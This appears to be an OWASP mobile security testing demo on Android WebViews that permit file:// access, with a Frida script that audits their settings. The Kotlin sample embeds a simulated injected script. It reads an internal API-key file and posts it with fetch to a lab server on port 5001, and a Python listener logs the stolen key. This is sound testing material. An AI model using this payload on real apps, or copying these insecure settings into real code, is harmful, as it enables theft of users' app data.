MASTG-DEMO-0031: Uses of WebViews Allowing Local File Access with Frida

Download MASTG-DEMO-0031 APK Open MASTG-DEMO-0031 Folder Build MASTG-DEMO-0031 APK

Sample

This sample demonstrates the use of WebViews allowing local file access in an Android app and how an attacker could exploit these settings to exfiltrate sensitive data from the app's internal storage using file URIs.

AndroidManifest.xmlMastgTestWebView.kt

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="true"
        android:usesCleartextTraffic="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.MASTestApp"
        tools:targetApi="31">
        <activity
            android:name=".MainActivityWebView"
            android:exported="true"
            android:theme="@style/Theme.MASTestApp">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

package org.owasp.mastestapp

import android.content.Context
import android.webkit.WebView
import java.io.*

/**
 * This class writes a sensitive file ("api-key.txt") into internal storage and then loads a vulnerable
 * page into a WebView. That page simulates an XSS injection:
 * an attacker's script (running in the context of the vulnerable page) makes an `XMLHttpRequest` to
 * read the sensitive file via the file system and then uses `fetch` to send the content to an external server.
 *
 * By loading the page with a `file://` base URL and enabling universal access from file URLs,
 * we relax the default restriction (which would otherwise treat `file://` requests as opaque origin)
 * and allow the `XMLHttpRequest` to succeed.
 */
class MastgTestWebView(private val context: Context) {

    fun mastgTest(webView: WebView) {
        // Write a sensitive file (for example, cached credentials or private data).
        val sensitiveFile = File(context.filesDir, "api-key.txt")
        sensitiveFile.writeText("MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b")
        val filePath = sensitiveFile.absolutePath

        // Configure the WebView.
        webView.settings.apply {
            /* `javaScriptEnabled` is required for the attacker's script to even execute.
             * This is very common in WebViews, unless they only load static content.
            */
            javaScriptEnabled = true

            /* `allowFileAccess` is required in this attack since it
             * allows the WebView to load local files from the app's internal or external storage.
             * This app has a `minSdkVersion` of 29, the default value is `true`
             * unless you run it on a device with an API level of 30 or higher.
            */
            allowFileAccess = true

            /* `allowFileAccessFromFileURLs` is required in this attack since it
             * lets JavaScript within those local files access other local files.
            */
            allowFileAccessFromFileURLs = true

            /* `allowUniversalAccessFromFileURLs` is not really required in this attack because
             * the `allowFileAccessFromFileURLs` setting already allows the attacker's script to
             * access the sensitive file via the file system.
            */
            // allowUniversalAccessFromFileURLs = true
        }

        // Vulnerable HTML simulating an XSS injection.
        // The attacker-injected script uses XMLHttpRequest to load the sensitive file from the file system.
        val vulnerableHtml = """
            <html>
              <head>
                <meta charset="utf-8">
                <title>MASTG-DEMO</title>
              </head>
              <body>
                <h1>MASTG-DEMO-0031</h1>
                <p>This HTML page is vulnerable to XSS. An attacker was able to inject JavaScript to exfiltrate data from the app internal storage using file:// URIs.</p>
                <p>The file is located in $filePath</p>
                <p>NOTE: For demo purposes we display the exfiltrated data on screen. However, the user wouldn't even notice as the data is exfiltrated silently.</p>
                <script type="text/javascript">
                  function exfiltrate(data) {

                    var output = document.createElement("div");
                    output.style.color = "white";
                    output.style.borderRadius = "5px";
                    output.style.backgroundColor = "red";
                    output.style.padding = "1em";
                    output.style.marginTop = "1em";
                    output.innerHTML = "<strong>Exfiltrated Data:</strong><br>" + data;
                    document.body.appendChild(output);

                    // Send the text file content to the external server
                    fetch('http://10.0.2.2:5001/receive', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'text/plain'
                        },
                        body: data
                    })
                    .then(response => console.log('File content sent successfully.'))
                    .catch(err => console.error('Error sending file content:', err));
                  }
                    function readSensitiveFile() {
                      var xhr = new XMLHttpRequest();
                      xhr.onreadystatechange = function() {
                        if (xhr.readyState === XMLHttpRequest.DONE) {
                          // For local file requests, a status of 0 with a non-empty responseText indicates success.
                          if (xhr.status === 200 || (xhr.status === 0 && xhr.responseText)) {
                            exfiltrate(xhr.responseText);
                          } else {
                            exfiltrate("Error reading file: " + xhr.status);
                          }
                        }
                      };

                      xhr.onerror = function() {
                        exfiltrate("Network error occurred while reading the file.");
                      };

                      xhr.open("GET", "$filePath", true);
                      xhr.send();
                    }
                  // Simulate the injected payload triggering.
                  readSensitiveFile();
                </script>
              </body>
            </html>
        """.trimIndent()

        // Load the vulnerable HTML.
        // Using a base URL with the file:// scheme gives the page a non‑opaque origin (using content:/// works the same way).
        webView.loadDataWithBaseURL(
            "file:///",
            vulnerableHtml,
            "text/html",
            "UTF-8",
            null
        )
    }
}

AndroidManifest.xml

Note that for the exfiltration to work we include the android:usesCleartextTraffic="true" attribute in the AndroidManifest.xml file to allow cleartext traffic. However, the same script would work with HTTPS endpoints.

MastgTestWebView.kt

The code includes a script that demonstrates how an attacker could exploit the WebView settings to exfiltrate sensitive data from the app's internal storage using file URIs (file://).

This sample:

• writes a sensitive file (api-key.txt) into internal storage using File.writeText().
• configures a WebView to
  • allow JavaScript execution (javaScriptEnabled = true).
  • allow file access (allowFileAccess = true).
  • allow file access from file URLs (allowFileAccessFromFileURLs = true).
  • allow universal access from file URLs (allowUniversalAccessFromFileURLs = true).
• to simulate an XSS attack, the WebView uses loadDataWithBaseURL to load an HTML page with embedded JavaScript controlled by the attacker.

HTML and JavaScript

See vulnerableHtml in the MastgTestWebView.kt file.

1. The attacker's script (running in the context of the vulnerable page) uses XMLHttpRequest to load the sensitive file from the file system. The file is located at /data/data/org.owasp.mastestapp/files/api-key.txt
2. fetch is used to send the file contents to an external server running on the host machine while the app is executed in the Android emulator (http://10.0.2.2:5001/receive).

Note: For demonstration purposes, the exfiltrated data is displayed on screen. However, in a real attack scenario, the user would not notice as the data would be exfiltrated silently.

server.py

A simple Python server that listens for incoming requests on port 5001 and logs the received data.

import http.server
import socketserver
import json

class Handler(http.server.BaseHTTPRequestHandler):

    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        data = self.rfile.read(length)
        text = data.decode('utf-8')
        print(f'\n\n[*] Received POST data from {self.client_address[0]}:\n')
        try:
            parsed = json.loads(text)
            pretty = json.dumps(parsed, indent=4)
            print(pretty)
        except Exception as e:
            print(text)
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()

    def log_message(self, format, *args):
        # Suppress the default logging
        pass

if __name__ == '__main__':
    with socketserver.TCPServer(('0.0.0.0', 5001), Handler) as httpd:
        print('Serving on port 5001...')
        httpd.serve_forever()

Steps

1. Install the app on a device ( Installing Apps)
2. Make sure you have Frida for Android installed on your machine and the frida-server running on the device
3. Run run.sh to spawn the app with Frida
4. Click the Start button
5. Stop the script by pressing Ctrl+C and/or q to quit the Frida CLI

run.shscript.js

#!/bin/bash
frida -U -f org.owasp.mastestapp -l ../MASTG-DEMO-0030/script.js -o output.txt

// Configuration parameter:
// Set to true to wait for the first call to getSettings() before enumerating WebViews.
// Set to false to enumerate immediately.
var delayEnumerationUntilGetSettings = true;

Java.perform(function() {
  var seenWebViews = {};
  var internalCall = false; // Flag to indicate internal calls

  // Function to print backtrace with a configurable number of lines (default: 5)
  function printBacktrace(maxLines = 8) {
    let Exception = Java.use("java.lang.Exception");
    let stackTrace = Exception.$new().getStackTrace().toString().split(",");

    console.log("\nBacktrace:");
    for (let i = 0; i < Math.min(maxLines, stackTrace.length); i++) {
        console.log(stackTrace[i]);
    }
    console.log("\n");
  }

  function enumerateWebViews() {
    Java.choose("android.webkit.WebView", {
      onMatch: function(instance) {
        var id = instance.toString();
        if (seenWebViews[id]) return;  // Skip if already seen
        seenWebViews[id] = true;
        Java.scheduleOnMainThread(function() {
          console.log(`\n[*] Found WebView instance: ${id}`);
          try {
            internalCall = true; // Set flag before calling getSettings
            var settings = instance.getSettings();
            internalCall = false; // Reset flag after calling getSettings
            console.log(`\t[+] JavaScriptEnabled: ${settings.getJavaScriptEnabled()}`);
            console.log(`\t[+] AllowFileAccess: ${settings.getAllowFileAccess()}`);
            console.log(`\t[+] AllowFileAccessFromFileURLs: ${settings.getAllowFileAccessFromFileURLs()}`);
            console.log(`\t[+] AllowUniversalAccessFromFileURLs: ${settings.getAllowUniversalAccessFromFileURLs()}`);
            console.log(`\t[+] AllowContentAccess: ${settings.getAllowContentAccess()}`);
            console.log(`\t[+] MixedContentMode: ${settings.getMixedContentMode()}`);
            console.log(`\t[+] SafeBrowsingEnabled: ${settings.getSafeBrowsingEnabled()}`);
          } catch (err) {
            console.log(`\t[-] Error reading settings: ${err}`);
          }
        });
      },
      onComplete: function() {
        console.log("\n[*] Finished enumerating WebView instances!");
      }
    });
  }

  var WebView = Java.use("android.webkit.WebView");

  if (delayEnumerationUntilGetSettings) {
    var enumerationTriggered = false;
    WebView.getSettings.implementation = function() {
      if (internalCall) {
        return this.getSettings(); // Return immediately if it's an internal call
      }
      var settings = this.getSettings();
      var id = this.toString();
      console.log(`\n[*] WebView.getSettings() called on instance: ${id}`);
      printBacktrace();
      if (!enumerationTriggered) {
        enumerationTriggered = true;
        Java.scheduleOnMainThread(function() {
          console.log("\n[*] Triggering enumeration after getSettings() call...");
          enumerateWebViews();
        });
      }
      return settings;
    };
  } else {
    enumerateWebViews();
  }
});

The Frida script is designed to enumerate instances of WebView in the application and list their configuration values. The script does not explicitly hook the setters of the WebView settings but instead calls the getSettings() method to retrieve the current configuration.

The script performs the following steps:

1. Enumerates all instances of WebView in the application.
2. For each WebView instance, it calls the getSettings() method to retrieve the current settings.
3. Prints the configuration values of the WebView settings.
4. Prints a backtrace when the getSettings() method is called to help identify where in the code the settings are being accessed.

Observation

The output shows that Frida found one WebView instance and lists many of the WebView settings. A backtrace is also provided to help identify where in the code the settings are being accessed.

[*] WebView.getSettings() called on instance: android.webkit.WebView{72e86a8 VFEDHVC.. ......I. 0,0-0,0}

Backtrace:
android.webkit.WebView.getSettings(Native Method)
org.owasp.mastestapp.MastgTestWebView.mastgTest(MastgTestWebView.kt:26)
org.owasp.mastestapp.MainActivityWebViewKt$WebViewScreen$1$1$2$1.invoke(MainActivityWebView.kt:88)
org.owasp.mastestapp.MainActivityWebViewKt$WebViewScreen$1$1$2$1.invoke(MainActivityWebView.kt:85)
androidx.compose.ui.viewinterop.ViewFactoryHolder.<init>(AndroidView.android.kt:343)
androidx.compose.ui.viewinterop.AndroidView_androidKt$createAndroidViewNodeFactory$1.invoke(AndroidView.android.kt:274)
androidx.compose.ui.viewinterop.AndroidView_androidKt$createAndroidViewNodeFactory$1.invoke(AndroidView.android.kt:273)
androidx.compose.ui.viewinterop.AndroidView_androidKt$AndroidView$$inlined$ComposeNode$1.invoke(Composables.kt:254)



[*] Triggering enumeration after getSettings() call...

[*] Finished enumerating WebView instances!

[*] Found WebView instance: android.webkit.WebView{72e86a8 VFEDHVC.. ........ 0,0-904,1796}
    [+] JavaScriptEnabled: true
    [+] AllowFileAccess: true
    [+] AllowFileAccessFromFileURLs: true
    [+] AllowUniversalAccessFromFileURLs: false
    [+] AllowContentAccess: true
    [+] MixedContentMode: 1
    [+] SafeBrowsingEnabled: true

We can also see how the sensitive data was exfiltrated to the attacker's server by inspecting the server logs.

Serving on port 5001...


[*] Received POST data from 127.0.0.1:

MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b

Evaluation

The test fails due to the following WebView settings being configured:

setJavaScriptEnabled: True
setAllowFileAccess: True
setAllowFileAccessFromFileURLs: True
setAllowUniversalAccessFromFileURLs: False

Note that using this approach we can't really tell if the methods are explicitly called in the code since we're inspecting the WebView settings after they have been configured. However, in this case, all methods detected must have been explicitly called in the code since the settings are not enabled by default.

As indicated by the backtrace in the output, the settings were called in the mastgTest method of the MastgTestWebView class. Since this app is a demo and symbols aren't stripped, we can even see the exact file and line number where the settings were configured: MastgTestWebView.kt:25.